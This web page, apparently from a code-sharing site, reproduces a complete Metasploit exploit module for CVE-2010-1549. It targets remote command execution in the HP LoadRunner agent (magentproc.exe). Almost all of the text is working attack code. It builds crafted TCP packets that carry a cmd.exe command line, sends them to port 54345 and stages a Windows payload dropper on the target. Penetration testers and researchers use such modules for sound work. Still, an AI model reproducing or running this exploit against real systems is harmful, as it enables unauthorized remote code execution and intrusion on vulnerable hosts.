扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution", 'Description'=> %q{ This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50 and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are also most likely vulneable if the (non-default) SSL option is turned off. By sending a specially crafted packet, an attacker can execute commands remotely. The service is vulnerable provided the Secure Channel feature is disabled (default). }, 'License'=> MSF_LICENSE, 'Author' => [ 'Unknown', # Original discovery # From Tenable Network Security 'aushack'# metasploit module ], 'References' => [ ['CVE', '2010-1549'], ['ZDI', '10-080'], ['BID', '39965'], ['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=c00912968'] ], 'Payload'=> { 'BadChars' => "\x0d\x0a\x00" }, 'Platform' => 'win', 'Targets'=> [ # Note: software reportedly supports Linux - may also be vulnerable. ['Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] ], ], 'Privileged' => false, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => 'May 06 2010', 'DefaultTarget'=> 0)) register_options([Opt::RPORT(54345)]) end def autofilter true end def execute_command(cmd, _opts = {}) guid = Rex::Text.encode_base64(Rex::Text.rand_text_alphanumeric(17)) randstr = Rex::Text.rand_text_alpha(16) server_name = Rex::Text.rand_text_alpha(7) server_ip = datastore['LHOST'] server_port = Rex::Text.rand_text_numeric(4) # If linux is one day supported, cmd1 = /bin/sh and cmd2 = -c cmd cmd1 = "C:\\Windows\\system32\\cmd.exe" cmd2 = "/C \"#{cmd}\"" pkt1 = [0x19].pack('N') + guid + '0' pkt2 = [0x6].pack('N') + [0x0].pack('N') + "(-server_type=8)(-server_name=#{server_name})(-server_full_name=#{server_name})" pkt2 << "(-server_ip_name=#{server_ip})(-server_port=#{server_port})(-server_fd_secondary=4)(-guid_identifier=#{guid})\x00\x00" pkt2 << [0x7530].pack('N') pkt3 = [4 + pkt2.length].pack('N') + pkt2 pkt4 = [0x1c].pack('N') + [0x05].pack('N') + [0x01].pack('N') + randstr + pkt3 pkt5 = [pkt4.length].pack('N') + pkt4 pkt6 = [0x437].pack('N') + [0x0].pack('N') + [0x31].pack('N') + [1].pack('N') + [0x31000000].pack('N') pkt6 << [cmd1.length].pack('N') + cmd1 + "\x00" + [cmd2.length].pack('N') + cmd2 + [0x0].pack('N') + [0x0].pack('N') pkt7 = [4 + pkt6.length].pack('N') + pkt6 pkt8 = [0x18].pack('N') + [0x04].pack('N') + randstr + pkt7 pkt9 = [pkt8.length].pack('N') + pkt8 sploit = pkt1 + pkt5 + pkt9 connect sock.put(sploit) disconnect end def exploit print_status('Sending payload...') execute_cmdstager(linemax: 1500) end end |
体验盒子
